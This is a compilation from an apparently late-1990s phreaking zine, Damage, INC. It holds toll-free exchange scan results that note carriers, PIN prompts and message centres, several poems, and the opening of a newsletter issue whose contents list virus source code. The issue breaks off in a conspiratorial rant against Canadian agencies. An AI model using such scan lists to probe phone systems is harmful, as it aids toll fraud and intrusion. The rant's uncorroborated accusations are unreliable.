711 NIS.
712 NIS.
713 NIS.
714 NIS.
715 NIS.
716 NIS.
717 NIS.
718 NIS.
719 NIS.
720 NIS.
721 Bell and Howell VMB.
722 NIS.
723 NIS.
724 NIS.
725 Slow BUSY. (3)
726 NIS.
727 2CK.
728 NIS.
729 NIS.
730 Deltacom. (Nextel Dealer/Representative)
731 NA.
732 Answering machine.
733 Bell Canada Direct Marketing Business Center.
734 2CK.
735 NIS.
736 NIS.
737 NIS.
738 NIS.
739 NIS.
740 NIS.
741 NIS.
742 NIS.
743 NIS.
744 NIS.
745 NIS.
746 NIS.
747 NIS.
748 NIS.
749 NIS.
750 NIS.
751 NA.
752 NIS.
753 NIS.
754 NIS.
755 NIS.
756 NIS.
757 NIS.
758 NIS.
759 NIS.
760 2CK.
761 NIS.
762 NIS.
763 Bell Canada's Total Solution Center for Business Customers.
764 NA.
765 NIS.
766 NIS.
767 NIS.
768 NA.
769 NIS.
770 CARRIER.
771 Capital One.
772 NIS.
773 NIS.
774 Voice.
775 NA.
776 2CK.
777 Invalid.
778 NIS.
779 NIS.
780 NIS.
781 NIS.
782 NIS.
783 NIS.
784 NIS.
785 NIS.
786 NIS.
787 NIS.
788 NIS.
789 NIS.
790 NIS.
791 NIS.
792 NIS.
793 NIS.
794 NIS.
795 NIS.
796 NIS.
797 NIS.
798 NIS.
799 2CK.
800 2CK.
801 Bell Canada's Direct Marketing Business Centre.
802 Universal Technologies.
803 Siren Tones.
804 NIS.
805 NIS.
806 NIS.
807 NIS.
808 NIS.
809 NIS.
810 NIS.
811 NIS.
812 NIS.
813 NIS.
814 Voicemail/Pager/FAX/Messaging.
815 Dick Anderson's Message Center.
816 NA.
817 Bell Micro Products System Assistance.
818 IBI All State's Communications.
819 Classic Fulfillment Center.
820 2CK.
821 NIS.
822 NIS.
823 NIS.
824 2CK.
825 Voice.
826 NIS.
827 NIS.
828 NIS.
829 NIS.
830 "Please enter your numeric message after the tone."
831 NIS.
832 NIS.
833 NIS.
834 NIS.
835 NIS.
836 Voice.
837 NIS.
838 Answering Machine.
839 NIS.
840 NIS.
841 NIS.
842 NIS.
843 NIS.
844 NIS.
845 Capital City Cellular. (Authorized Rogers AT&T Wireless Dealer)
846 NIS.
847 Reserved for future VISA use.
848 CARRIER.
849 NA.
850 NIS.
851 2CK.
852 2CK.
853 NIS.
854 Bell Micro Products.
855 NIS.
856 NIS.
857 Distant.
858 NIS.
859 NIS.
860 Crucial Technology.
861 Disconnected.
862 2CK.
863 Voice.
864 FAX.
865 NIS.
866 NIS.
867 NIS.
868 NIS.
869 NIS.
870 NIS.
871 NIS.
872 USA Cell.
873 Discover Communications. (Rogers AT&T Wireless)
874 NIS.
875 NIS.
876 NIS.
877 NIS.
878 NIS.
879 Bell Helicopter Employment Office.
880 2CK.
881 NIS.
882 Voice.
883 NIS.
884 NIS.
885 NIS.
886 NIS.
887 NIS.
888 NIS.
889 NIS.
890 NIS.
891 NIS.
892 NIS.
893 NIS.
894 2CK.
895 Voice.
896 NIS.
897 MCI WorldCom Cellular Message Center.
898 NIS.
899 2CK.
900 NIS.
901 NIS.
902 NIS.
903 NIS.
904 NIS.
905 NIS.
906 NIS.
907 NIS.
908 NIS.
909 Pacific Bell's Customer Service for the Message Center.
910 Voice.
911 NIS.
912 NIS.
913 NIS.
914 NIS.
915 NIS.
916 NA.
917 Invalid.
918 NA.
919 NA.
920 NIS.
921 BellSouth.
922 High Tone.
923 NIS.
924 NA.
925 2CK.
926 NA.
927 NIS.
928 2CK.
929 NIS.
930 NIS.
931 Bell Micro Products.
932 2CK.
933 NIS.
934 NA.
935 NIS.
936 NIS.
937 NIS.
938 NA.
939 NIS.
940 Bell Micro Products.
941 NA.
942 NA.
943 NA.
944 FAX.
945 NA.
946 NIS.
947 NA.
948 NIS.
949 Bell and Company.
950 NIS.
951 NA.
952 NA.
953 Don of Western Airlines.
954 CelluWorld.
955 BellSouth Rewards.
956 NA.
957 MCI WorldCom Paging System.
958 MCI WorldCom Paging System.
959 NIS.
960 MCI WorldCom Paging System.
961 MCI WorldCom Paging System.
962 NIS.
963 NIS.
964 NIS.
965 Advanced Communications.
966 NIS.
967 NIS.
968 2CK.
969 Microcell.
970 NA.
971 NIS.
972 NA.
973 NIS.
974 NIS.
975 NIS.
976 NIS.
977 2CK.
978 NIS.
979 NIS.
980 NIS.
981 NIS.
982 NIS.
983 Voice.
984 NIS.
985 Ad Gap.
986 NIS.
987 NIS.
988 NIS.
989 NIS.
990 NIS.
991 Univercell (cell phone rentals)
992 NIS.
993 FAX.
994 NIS.
995 Disconnected.
996 Voice.
997 FAX.
998 Voice. CBC?
999 Bell Canada's Voice Response System.

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\________/___|___\__|_|__/___|___\_____|______/|_| \__|__|\__|_____/|_|
======================== "The name speaks for itself!" ========================
1-888-XXX-BELL Scan
http://surf.to/damage_inc
damage_inc@dope.org
===============================================================================
1-888-XXX-2355 (BELL) Scan:
200 2CK.
201 BellSouth Benefit Enrollment System.
202 NIS.
203 BellSouth.
204 2CK.
205 NIS.
206 Bell Atlantic.
207 Bell Atlantic.
208 Bell Atlantic.
209 NIS.
210 NIS.
211 Bell Atlantic Caller ID.
212 NIS.
213 Bell Atlantic Caller ID.
214 NIS.
215 2CK.
216 Bell Atlantic Caller ID.
217 Bell Atlantic Caller ID.
218 Bell Atlantic Caller ID.
219 Bell Atlantic.
220 NIS.
221 Bell Atlantic.
222 NIS.
223 Bell Atlantic.
224 NIS.
225 NIS.
226 NIS.
227 2CK.
228 2CK.
229 NIS.
230 NIS.
231 2CK.
232 2CK.
233 2CK.
234 NIS.
235 NIS.
236 NIS.
237 NIS.
238 NIS.
239 Improved Performance Group.
240 2CK.
241 NIS.
242 Bell (Spanish)
243 NIS.
244 2CK.
245 Bell Atlantic Caller ID.
246 Voice.
247 2CK.
248 NIS.
249 2CK.
250 NIS.
251 2CK.
252 American Italian Pasta. (Voice)
253 2CK.
254 NIS.
255 2CK.
256 CoBell USA Incorporated.
257 Bell Atlantic Caller ID.
258 Bell Atlantic Caller ID.
259 Bell Atlantic Caller ID.
260 Message Center for some construction company.
261 Bell Atlantic Caller ID.
262 NIS.
263 NIS.
264 (1-888-ANI-BELL) Bell Atlantic Caller ID.
265 NIS.
266 2CK.
267 Bell Atlantic Caller ID.
268 Cliff Taylor's answering machine. Bell worker?
269 2CK.
270 NIS.
271 2CK.
272 2CK.
273 NIS.
274 NIS.
275 NIS.
276 NIS.
277 2CK.
278 NA.
279 NIS.
280 TONES.
281 NIS.
282 NIS.
283 NIS.
284 NIS.
285 2CK.
286 NIS.
287 KurBell Plastics.
288 2CK.
289 NA.
290 NIS.
291 NIS.
292 NIS.
293 NIS.
294 NIS.
295 NIS.
296 NIS.
297 NIS.
298 NIS.
299 NIS.
300 Consolidated Wireless Corporation.
301 NIS.
302 NIS.
303 NIS.
304 2CK.
305 NIS.
306 NIS.
307 NIS.
308 NIS.
309 NIS.
310 NIS.
311 NIS.
312 NIS.
313 2CK.
314 NIS.
315 NIS.
316 Dave Merryl's answering machine.
317 Charles something Enterprises, Inc.
318 NIS.
319 NIS.
320 NIS.
321 NA.
322 2CK.
323 2CK.
324 2CK.
325 NIS.
326 NIS.
327 BellSouth Mobility Area Code Reprogramming Department.
328 NIS.
329 NIS.
330 NIS.
331 NIS.
332 NIS.
333 2CK.
334 NIS.
335 2CK.
336 BlueBell Consolidating.
337 2CK.
338 NIS.
339 NIS.
340 Please enter your home phone number followed by last 4 digits of SSN now.
341 FAX.
342 NIS.
343 Due to technical difficulties we cannot record your message at this time.
344 NIS.
345 Cellular One Dispatch.
346 Non-working toll free number.
347 Non-working toll free number.
348 NIS.
349 Non-working toll free number.
350 BUSY.
351 BUSY.
352 NIS.
353 BUSY.
354 BUSY.
355 NIS.
356 Non-working toll free number.
357 2CK.
358 Non-working toll free number.
359 NIS.
360 Non-working toll free number.
361 Non-working toll free number.
362 NIS.
363 NIS.
364 2CK.
365 NIS.
366 NIS.
367 2CK.
368 Non-working toll free number.
369 NIS.
370 NIS.
371 NA.
372 NIS.
373 NIS.
374 Invalid telephone number.
375 BUSY.
376 NIS.
377 Bell Firstrate Interactive Information and Enrollment Service.
378 Bell Canada's Ontario Direct Marketing Center.
379 2CK.
380 2CK.
381 Bell something? Call back.
382 NIS.
383 BellSouth Cellular Fraud Prevention Center.
384 NIS.
385 2CK.
386 NIS.
387 TONES.
388 Bell Direct in Canada. (the same as 310-BELL)
389 NIS.
390 NIS.
391 Hello? (Voice)
392 Short TONES.
393 NIS.
394 NA.
395 NIS.
396 NIS.
397 NIS.
398 NA.
399 NIS.
400 Bell Industries.
401 NIS.
402 NIS.
403 NIS.
404 NIS.
405 NIS.
406 NIS.
407 NIS.
408 NIS.
409 NIS.
410 NIS.
411 NIS.
412 NIS.
413 NA.
414 NIS.
415 NIS.
416 NIS.
417 NIS.
418 NIS.
419 NIS.
420 NIS.
421 NIS.
422 AcuMed International.
423 2CK.
424 NIS.
425 NIS.
426 NIS.
427 NIS.
428 NIS.
429 Disconnected.
430 NIS.
431 NIS.
432 NIS.
433 NIS.
434 NIS.
435 NIS.
436 Nationwide Messaging.
437 NIS.
438 2CK.
439 Exxo Manufacturing Companies.
440 NIS.
441 NIS.
442 NIS.
443 2CK.
444 Something (Maricell?) Cellular.
445 NIS.
446 NIS.
447 NIS.
448 2CK.
449 NIS.
450 NIS.
451 NIS.
452 NIS.
453 NA.
454 2CK.
455 Southwestern Bell. NIS any longer.
456 NIS.
457 Your call cannot be completed as dialed. Recording B.
458 NIS.
459 NIS.
460 NIS.
461 NIS.
462 2CK.
463 NIS.
464 BUSY.
465 NIS.
466 NA.
467 NIS.
468 Due to technical difficulties we cannot record your message at this time.
469 2CK.
470 NIS.
471 BUSY.
472 Voice.
473 NIS.
474 NIS.
475 NIS.
476 NIS.
477 BUSY.
478 NIS.
479 NIS.
480 NIS.
481 NIS.
482 NIS.
483 NIS.
484 NIS.
485 NIS.
486 NIS.
487 NIS.
488 NIS.
489 NIS.
490 NIS.
491 Please leave your message after the tone.
492 NIS.
493 NIS.
494 NIS.
495 NIS.
496 NIS.
497 2CK.
498 NIS.
499 NIS.
500 NIS.
501 NIS.
502 NIS.
503 NIS.
504 Tony Bell from Remax.
505 Something Corporation.
506 NIS.
507 NIS.
508 NIS.
509 FAX.
510 NIS.
511 NIS.
512 NIS.
513 NIS.
514 NIS.
515 NIS.
516 NIS.
517 NIS.
518 NIS.
519 NIS.
520 NIS.
521 NIS.
522 Cellular One.
523 2CK.
524 NIS.
525 2CK.
526 106C The 800 number you have dialed is NIS at this time.
527 NIS.
528 NIS.
529 NIS.
530 Bell Sales Company.
531 NIS.
532 NIS.
533 NIS.
534 NIS.
535 NIS.
536 This is Ken Bell. (Voice)
537 NIS.
538 NIS.
539 Hello? (Voice)
540 NIS.
541 NIS.
542 NIS.
543 BellSouth Internet Business. 1-800-436-8638 BellSouth Internet Home. (U.S. only)
544 NIS.
545 NIS.
546 2CK.
547 NIS.
548 NIS.
549 1-800-829-1011 Network Management Center.
550 BUSY.
551 NIS.
552 American Italian Pasta Company.
553 NIS.
554 NIS.
555 NIS.
556 2CK.
557 NIS.
558 800 number is not active.
559 800 number is not active.
560 800 number is not active.
561 NIS.
562 Cellular One's Job Hotline.
563 NIS.
564 NIS.
565 FAX.
566 NIS.
567 NIS.
568 2CK.
569 NIS.
570 NIS.
571 NIS.
572 NIS.
573 NIS.
574 NIS.
575 MCI WorldCom.
576 NIS.
577 Someone's Voicemail.
578 Bell Industries.
579 NIS.
580 NIS.
581 I'm sorry, but the service is not available at this time.
582 NIS.
583 2CK.
584 NIS.
585 2CK.
586 Please leave your numeric message after the tone.
587 NIS.
588 NIS.
589 NIS.
590 2CK.
591 NIS.
592 NIS.
593 S&E? Something Cellular. Call back.
594 NIS.
595 NIS.
596 NIS.
597 NIS.
598 Bell Industries.
599 NA.
600 NIS.
601 NIS.
602 Enter telephone number or a numeric message.
603 NIS.
604 NIS.
605 NIS.
606 NIS.
607 NIS.
608 NIS.
609 NA.
610 NIS.
611 NIS.
612 Enter the PIN number you wish.
613 NIS.
614 Enter the PIN number you wish.
615 NIS.
616 NIS.
617 NIS.
618 Bell Industries.
619 NIS.
620 NIS.
621 NIS.
622 2CK.
623 Enter the PIN number you wish.
624 MCI WorldCom.
625 NIS.
626 BUSY.
627 NIS.
628 2CK.
629 2CK.
630 This mailbox number is NIS.
631 NIS.
632 NIS.
633 2CK.
634 NIS.
635 NIS.
636 2CK.
637 Doctor Bell's office. Voice at 4:10am? <SH>
638 Cantel AT&T.
639 NIS.
640 NIS.
641 NIS.
642 NIS.
643 NIS.
644 NIS.
645 NIS.
646 NIS.
647 NIS.
648 Disconnected.
649 NA.
650 2CK.
651 NIS.
652 American Italian Pasta.
653 NIS.
654 NIS.
655 Network MCI Contact.
656 NIS.
657 NIS.
658 NIS.
659 NIS.
660 NIS.
661 NIS.
662 NIS.
663 NIS.
664 NIS.
665 NIS.
666 2CK.
667 NIS.
668 NIS.
669 NIS.
670 NIS.
671 NIS.
672 NIS.
673 NIS.
674 NIS.
675 BUSY.
676 NIS.
677 Bell Atlantic View at One Support.
678 NIS.
679 NIS.
680 NIS.
681 Cellular One.
682 NIS.
683 2CK.
684 Enter telephone number or a numeric message.
685 BC Tel Multiple Option Messaging.
686 NIS.
687 2CK.
688 Bell Industries.
689 NIS.
690 NIS.
691 NIS.
692 NIS.
693 NIS.
694 Corporate Communications at AirTouch Customer Service.
695 NIS.
696 NIS.
697 NIS.
698 Bell Industries.
699 NIS.
700 2CK.
701 NIS.
702 NIS.
703 NIS.
704 NIS.
705 NIS.
706 NIS.
707 NIS.
708 Bell Industries.
709 NIS.
710 NIS.
711 NIS.
712 NIS.
713 NIS.
714 NIS.
715 Call Home America Ultimate 800.
716 NIS.
717 NIS.
718 Randy's Voicemail.
719 NIS.
720 NIS.
721 NIS.
722 NIS.
723 NIS.
724 NIS.
725 NIS.
726 2CK.
727 2CK.
728 NIS.
729 NIS.
730 Bell Atlantic.
731 Bell Atlantic Caller ID.
732 NIS.
733 NIS.
734 Bell Atlantic Caller ID.
735 NIS.
736 NIS.
737 2CK.
738 2CK.
739 NIS.
740 NIS.
741 Bell Atlantic.
742 NA.
743 Bell Atlantic.
744 NA.
745 Bell Atlantic.
746 2CK.
747 Bell Atlantic Caller ID.
748 Bell Industries.
749 Bell Atlantic.
750 NIS.
751 Bell Atlantic.
752 American Italian Pasta Company.
753 TONE.
754 NIS.
755 Pacific Bell Equipment.
756 NA.
757 Bell Atlantic Caller ID.
758 NIS.
759 American Mobile. NIS at this time. 1-800-872-6222. 1-800-405-6543.
760 NIS.
761 NIS.
762 NIS.
763 NA.
764 NIS.
765 Non-working toll free number.
766 NIS.
767 NA.
768 NIS.
769 NIS.
770 NIS.
771 NIS.
772 BUSY.
773 NIS.
774 2CK.
775 Pacific Bell Equipment.
776 2CK.
777 NIS.
778 Bell Atlantic Caller ID.
779 Bell Atlantic Caller ID.
780 Bell Atlantic Caller ID.
781 Bell Atlantic.
782 Bell Atlantic.
783 2CK.
784 NIS.
785 Bell Atlantic Caller ID.
786 NIS.
787 NA.
788 Bell Canada Business Consulting Group.
789 NIS.
790 NIS.
791 Bell Atlantic Caller ID.
792 NIS.
793 Bell Atlantic Caller ID.
794 Bell Atlantic Caller ID.
795 Bell Atlantic Caller ID.
796 NIS.
797 NIS.
798 NIS.
799 NIS.
800 NIS.
801 Something Cell Phones and Accessories. Call back.
802 NIS.
803 NIS.
804 NIS.
805 NIS.
806 NIS.
807 NIS.
808 NIS.
809 NIS.
810 NIS.
811 NIS.
812 NIS.
813 NIS.
814 NIS.
815 NIS.
816 NIS.
817 NIS.
818 NIS.
819 NIS.
820 NIS.
821 NIS.
822 2CK.
823 This program has ended.
824 Something Tel. Call back.
825 Connect America.
826 NA.
827 TarBell Realtors.
828 BUSY.
829 NIS.
830 NIS.
831 2CK.
832 NIS.
833 NIS.
834 NIS.
835 NIS.
836 NA.
837 NIS.
838 NIS.
839 NIS.
840 2CK.
841 NIS.
842 Not-Active.
843 2CK.
844 NIS.
845 NIS.
846 2CK.
847 2CK.
848 2CK.
849 2CK.
850 2CK.
851 2CK.
852 America Italian Pasta Company.
853 NA.
854 NIS.
855 NIS.
856 NIS.
857 NIS.
858 NIS.
859 NIS.
860 NIS.
861 NIS.
862 NIS.
863 NIS.
864 NIS.
865 NIS.
866 NIS.
867 NIS.
868 NA.
869 BUSY.
870 BUSY.
871 Invalid.
872 NA.
873 NIS.
874 NA.
875 NIS.
876 NIS.
877 Comcev Communications.
878 NIS.
879 Portable Communications. (home of the Phone Man)
880 NIS.
881 The information service you have dialed is not being conducted at this time.
882 NIS.
883 Massada Company.
884 NIS.
885 2CK.
886 NIS.
887 NIS.
888 2CK.
889 NA.
890 NIS.
891 NIS.
892 NIS.
893 NIS.
894 NIS.
895 NIS.
896 NIS.
897 Please leave your numeric message after the tone.
898 NIS.
899 2CK.
900 NIS.
901 Digital Communications.
902 NewTech Wireless. (paging, cellular, equipment, etc.)
903 NIS.
904 Bell Firstrate Interactive Information and Enrollment Service.
905 NIS.
906 NA.
907 NIS.
908 NA.
909 Bob Bell.
910 NIS.
911 NIS.
912 NIS.
913 2CK.
914 NIS.
915 NIS.
916 NA.
917 NIS.
918 NIS.
919 NIS.
920 NIS.
921 NIS.
922 Long pause, no ring then BUSY.
923 NIS.
924 NIS.
925 NIS.
926 NIS.
927 NIS.
928 NIS.
929 NIS.
930 NIS.
931 NIS.
932 NIS.
933 Bell Atlantic Caller ID.
934 NIS.
935 NIS.
936 NIS.
937 WesBell Group of Companies? 416-741-5971 or 1-888-438-0000
938 2CK.
939 NIS.
940 NIS.
941 NIS.
942 NIS.
943 NIS.
944 NIS.
945 NIS.
946 NA.
947 NIS.
948 NIS.
949 NIS.
950 NIS.
951 NIS.
952 American Italian Pasta. (Voice)
953 NIS.
954 Bell Atlantic Caller ID.
955 NIS.
956 2CK.
957 2CK.
958 Bell Atlantic Caller ID.
959 Bell Atlantic Caller ID.
960 Bell Atlantic Caller ID.
961 Bell Atlantic Caller ID.
962 Bell Atlantic Caller ID.
963 Bell Sales Company.
964 Bell Atlantic Caller ID.
965 Bell Atlantic Caller ID.
966 Bell Atlantic Caller ID.
967 Bell Atlantic Caller ID.
968 Everything Wireless.
969 Bell Atlantic.
970 Bell Atlantic Caller ID.
971 Bell Atlantic Caller ID.
972 Bell Atlantic Caller ID.
973 NIS.
974 Bell Atlantic Caller ID.
975 Bell Atlantic Caller ID.
976 NIS.
977 Bell Atlantic Caller ID.
978 NIS.
979 NA.
980 Bell Atlantic Caller ID.
981 Bell Atlantic Caller ID.
982 Bell Atlantic Caller ID.
983 Bell Atlantic.
984 Bell Atlantic.
985 Bell Atlantic.
986 Bell Atlantic.
987 2CK.
988 Bell Atlantic.
989 Bell Atlantic.
990 Bell Atlantic.
991 NIS.
992 Bell Atlantic.
993 Bell Atlantic.
994 NIS.
995 2CK.
996 Bell Atlantic.
997 Bell Atlantic.
998 Voice.
999 Something Wireless.
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======================== "The name speaks for itself!" ========================
Poetic Rantings
http://surf.to/damage_inc
damage_inc@disinfo.net
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Eyes of Aquila.
Arctic air being blasted downward by strong northern winds as a cold front
moves in. Yet you're still warm. You're still who you are... who you've
always been. Still someone with a heart I admire... and want to imagine.
Warming...
With eagle eyes you watch from above... observing the situation... studying...
analyzing and disseminating information. Your eyes and mind dissecting anything
and everyone. With eyes of wonder like the Argus, watchful and noticing. Yet
you are calm and easy... and your eyes are not menacing. Ever so pleasant to
imagine... with such beautiful imagery in my mind... dancing.
Imagining...
Soothing eyes and gentle words with a calming effect that are melodic in tone.
Poetic without effort, even over the incessant noise and the room's constant
drone. Always so insightful, with wisdom that forces me to think. Always
compassionate, never allowing me to fade... never allowing my spirit to sink.
From the crevasses of your mind, I could drink.
Soothing...
My thirst is quenched and you feed me thoughts to contemplate. You are well
worth the price of admission, to get to know... trust and wait for fears to
abate. You've softened me without harming or weakening. Knowing that, I look
forward to all the future encounters we may have... and what they might possibly
bring. In Winter's darkness and discontent you are my Spring.
Softening...
A gentle soul that can see right through me, leaving me vulnerable... but not
alone. All of the advice you've given me, all of the pieces, layers and levels
of yourself you've shown. I'm thankful... grateful beyond measure. Just
reading your thoughts... gives me such great pleasure. Your very existence is
something I truly treasure.
Opening...
All that I know of you can't be put into words, and yet I still know there's so
much more. So intricate, complex... so deep... you'd take a thousand years to
explore. With words that sustain and satisfy me... knowledge and interest of
things that never cease to amaze... you're more than these eyes can see.
Without judging, your eyes once more cast their hypnotic gaze. And once more
we meet and converse in this strange, electronic place.
Deepening...
Written by BLACKENED / Damage, INC. (C)opyright 2001.
- Dedicated to Aquila. You are all those things, and more. You're also a
true friend that I trust and care deeply about. I can no longer imagine not
having your friendship, since I value it so very much. I treasure your
existence immensely. Thank you for the encouragement, advice, inspiration and
all of the other things you've done for me. ;)

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======================== "The name speaks for itself!" ========================
Poetic Rantings
http://surf.to/damage_inc
damage_inc@disinfo.net
===============================================================================
Big Brother Matters.
So close, no matter how far
Couldn't tear much more lives apart
Forever changing who you are
And we're all that matters.
Never exploited your mind this way
Life is ours, you live it our way
Bow down on your knees when I say
And the establishment matters.
Followers I seek and I find in you
Every day for us wealth renewed
Close your minds for a different view
And Big Brother matters.
Never cared for what they do
Never cared for what they know
But we know.
So ours, no matter how far
Couldn't steal much more from your heart
Forever creating who you are
And the NWO matters.
Never cared for what you do | Never cared for what zombies do
Never cared for what you know | Never cared for what zombies know
But we know. | But we know
Never exploited so many minds this way | Never destroyed so many minds this way
Your life is ours, you live it our way | You're ours, you live life our way
All these words we don't just say. | Your only duty is to obey
Zombies I seek and I find in you | Naive minds I seek and I find in you
Every day we control something new | Every day for us abusing you
Close your minds for a different view | Fuck your minds for a different view
And the WTO matters. | And Big Brother matters.
Never cared for what zombies say | Never cared for what slaves say
Never cared for games they play | Never cared how much they pay
Never cared for what they do
Never cared for what they know
And we know.
So owned, no matter how far | So fucked, no matter how far
Couldn't take much more from your heart | Couldn't rip much more from your heart
Forever raping who you are | Forever changing who you are
No nothing else matters. | No you don't matter.
Notes: This is a song modelled after Metallica's "Nothing Else Matters".
Obviously, I've modified the lyrics significantly. But that's the style it
has been written in. Music inspires. I've included alternate (alternative?)
lyrics for some of the stanzas and marked them beside. It was written in a
very short amount of time, but I still think it's cool and carries meaning.
Written by Blackie Lawless / Damage, INC. (C)opyright 2000.

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Poetic Rantings
http://surf.to/damage_inc
damage_inc@disinfo.net
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Chaos and Madness.
In the chaos and madness I live.
It is the place where creativity is born.
Nothing is expected and there's nothing you must give.
Imagination can be let loose to run wild.
Fears are calmed and inspiration is driven.
It's a state of mind in which thoughts haven't been tamed and turned mild.
In this open space I'm free to roam and explore.
Its vastness is great.
Overwhelmed by the lingering chaos, but still wanting more.
Through these plains of existence and doors of perception I traverse.
Over the hills and upon an ocean of madness.
Words cannot begin to describe this strange, almost poetic universe.
The randomness is apparent. The chaos is evident.
Madness is still upon me, lurking in the crevices of my psyche.
It is here that I can openly rant and vent.
As I delve into this strange, underground world I can feel a euphoric sensation.
It's unlike anything else I've experienced.
And just as I begin to embrace this place, I start to make some realizations.
Madness is genius.
It gives meaning to logic and rationality.
And it's much more than just sanity amiss.
Chaos gives birth to new ideas.
In its disorder, mayhem and blinding emotional fervor lies the hidden truth.
With patience it can become clear to us.
Chaos is madness and madness is chaos.
They're both equals. The importance of each should never be underestimated.
If their power is ignored, it's at a great loss.
The contributions they make shouldn't be discounted.
It's a mistake to believe that they aren't needed.
And just because they're undesirable to some doesn't mean they aren't wanted.
My heart aches and my mind is aflame.
I've had an incredible revelation.
I am madness but I'm not insane.
I'm immersed in madness.
And I'm surrounded by chaos.
Of that those who know me well will readily attest.
Into chaos and madness I dive.
Throwing caution to the wind whilst on the edge of the world.
And with them as a part of me, I thrive.
Don't underestimate the worth of either.
Lest you pay the price.
The reaper isn't a wheeler and dealer.
Slipping into dementia is a strange feeling.
Every thought, every sensation is heightened.
It's more than a normal high and nothing short of amazing.
Don't be frightened by death.
Don't avoid danger.
And never let your mind rest.
Life is chaos. Life is madness.
Everything is the universe and the universe is life.
The universe epitomizes chaos and it embodies madness.
Note: I'm sure the above words aren't the most poetic you've ever read. The
poem isn't extremely well written. It's more like a rough draft. However, it
wasn't meant to be perfect. Its purpose was to convey what I was thinking
during a particular experience and it was written during a chaotic state of
mind. Altering it would forever change that, thus destroying it. So I've made
no attempt to "improve" it, since that cannot be done without ruining the
original meaning and personal thoughts that it was meant to share. Actually,
the whole fucking thing is basically just a long rant. So take it for what
it is and view what I wrote however you want. ;)
Written by BLACKENED <20> Damage, INC. (C)opyright 1999.

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Presents the
Damage, INC. Newsletter
December 1997 Issue #4.
"We're gonna phreak you out."
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C O N T E N T S :
<EFBFBD> INTRODUCTION - An Introduction to the Damage, INC. Newsletter.
<EFBFBD> BIG BROTHER BASHING - Statistics Canada and CSIS are listening and watching.
<20> Search String: {BIG BROTHER}
<EFBFBD> BLACKENED'S TIP OF THE MONTH - Virus detection techniques.
<20> Search String: {BLACKENED}
<EFBFBD> CONSPIRACIES AND COVERUPS - Bill C-17: Kiss your rights goodbye.
<20> Search String: {COVERUPS}
<EFBFBD> CORRUPTION AND GREED - Bell preys upon naive customers.
<20> Search String: {GREED}
<EFBFBD> H/P INFORMATION AND NEWS - Information on ANIs and diverters.
<20> Search String: {NEWS}
<EFBFBD> INTERVIEWS AND INTERROGATIONS - Savage Dragon's hilarious message.
<20> Search String: {INTERVIEWS}
<EFBFBD> LETTERS TO THE EDITOR - More feedback about the Damage, INC. Newsletter.
<20> Search String: {LETTERS}
<EFBFBD> OBJECTIVE OPINIONS - Timothy Leary and Drugs.
<20> Search String: {OPINIONS}
<EFBFBD> REPORTS FROM THE FRONT - Cybernauts sing the praises of Bulletin Boards.
<20> Search String: {REPORTS}
<EFBFBD> SOURCE AND SCRIPTS - DAMSMALL virus source code.
<20> Search String: {SOURCE}
<EFBFBD> THE JOURNALIST'S TOP TEN LIST - Not Available in this issue.
<20> Search String: {TOP TEN}
<EFBFBD> THOUGHTS, POEMS AND CREATIVE WRITING - A short poem titled "Awakening".
<20> Search String: {WRITING}
<EFBFBD> CLOSING COMMENTS - BLACKENED's Hostile Closing Comments.
<20> Search String: {CLOSING}
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INTRODUCTION: Phreaking Bell...Phreaking Bell...Phreaking all the way. Oh
what fun it is to phreak to a new exchange. Hey. That should
get you in the spirit. ;) A special shout goes out to our
readers in B.C. We should have a Damage, INC. Dist. Site in
your area soon. To the rest of our loyal readers in 519 etc.
we haven't forgotten about you. Keep reading, learning and
experimenting. Also, I realize there are quite a few newbies
that are now reading the Damage, INC. Newsletter. We aren't
going to neglect you, so don't worry. To those that do not
enjoy reading what we write: phreak you.
BIG BROTHER BASHING - {BIG BROTHER}
Statistics Canada and CSIS are listening and watching:
Statistics Canada (commonly referred to as Stats Canada) and CSIS (which
stands for Canadian Security Intelligence Service) are listening and watching.
I'm sure that if CSIS gets a copy of this article, I will be under their
surveillance. That is, if I'm not already being monitored by them. The main
purpose for writing about these two government agencies is to reveal what
they've done, show the power and control they've been given, and expose the
truth about how they work.
Stats Canada is a very corrupt agency. It is an organization of people that
is designed to gather information on the citizens of this country. Have you
ever received a government survey in the mail addressed to you? If not,
then perhaps you've answered their questions over the phone or in person.
At any rate, Stats Canada sends out surveys in the mail. They also call
people "at random" and expect you to answer their questions. The reason I
put the words at random in quotes is because they actually target certain
people and repeatedly call them. In fact, if they call and you refuse to
answer any questions, the Stats Canada representative will become rather
angry and aggressive. I have personal experience with those bastards and
know exactly how they behave. First, they said the "survey" was mandatory.
I told them that I wasn't going to answer any of their questions over the
phone... and politely stated I don't give personal information out to absolute
strangers. Then, they replied that they can setup an appointment and ask
the questions in person. I said I wasn't interested in filling out anything
or answering any questions. That's when they snapped. The voice of the Stats
Canada representative became emotional and upset... and she said that I must
answer her questions. At that point, I was basically sick of talking to them.
However, I decided to ask what they'd do if I refused to answer any questions.
She then threatened to imprison me and said that I'm obligated by law to do
what they ask. Hahaha. I couldn't contain myself and began laughing. Then
I just made up an excuse about being unavailable. Before I hung up the phone,
she made another threat about calling back until I complete the survey. That's
just one example of how Stats Canada treats (or threatens) average citizens.
Why does Stats Canada even exist? The sickening truth is that they exist to
gather information on us. They even target people and victimize them by
continually forcing them to answer questions, fill out surveys etc. It should
be our right not to give out personal information. We should have the option
to refuse answering their questions. Also, the information and data that they
gather isn't kept confidential... even though they claim it is. Stats Canada
has been caught *selling* people's information to private companies that create
databases. Obviously, that's an illegal act on their part. They intentionally
violate people's privacy in order to profit. It was reported a few months ago
that Stats Canada was harassing people in B.C. At least they didn't just take
it and are trying to fight them. On a side note, Stats Canada also enjoys
falsifying and manipulating the statistics that they report. As in, the
percentage of people that are unemployed, inflation, savings, the deficit etc.
You simply cannot trust any figures that they create.
CSIS is no better though. In many respects, they are even worse than Statistics
Canada. The Canadian Security Intelligence Service (CSIS) is extremely corrupt
and untrustworthy. Several months ago, they were caught using illegal phone
taps on innocent citizen's phone lines. They use unlawful methods to gain
access to personal information. CSIS is also fond of installing bugs inside of
residences, without just cause or suspicion. They don't just break and disobey
the laws, they flaunt it by abusing their power on a regular basis. It would
be almost impossible to know if they are watching and listening... If that
isn't Big Brother in action, then the term "Big Brother" is meaningless. I was
very surprised that the RCMP would reveal the actions of CSIS and expose them,
since those two organizations usually work closely together. Perhaps there's
a much larger conspiracy at work.
CSIS is a dangerous, secret agency. In my opinion, their sole purpose is to
keep an eye on the "dissidents" of this country. They don't seem to be very
effective at spying and doing intelligence operations in foreign countries,
thus they concentrate their efforts on us instead. CSIS infiltrated a group
named the Heritage Front, which is a "white supremacist" organization. In the
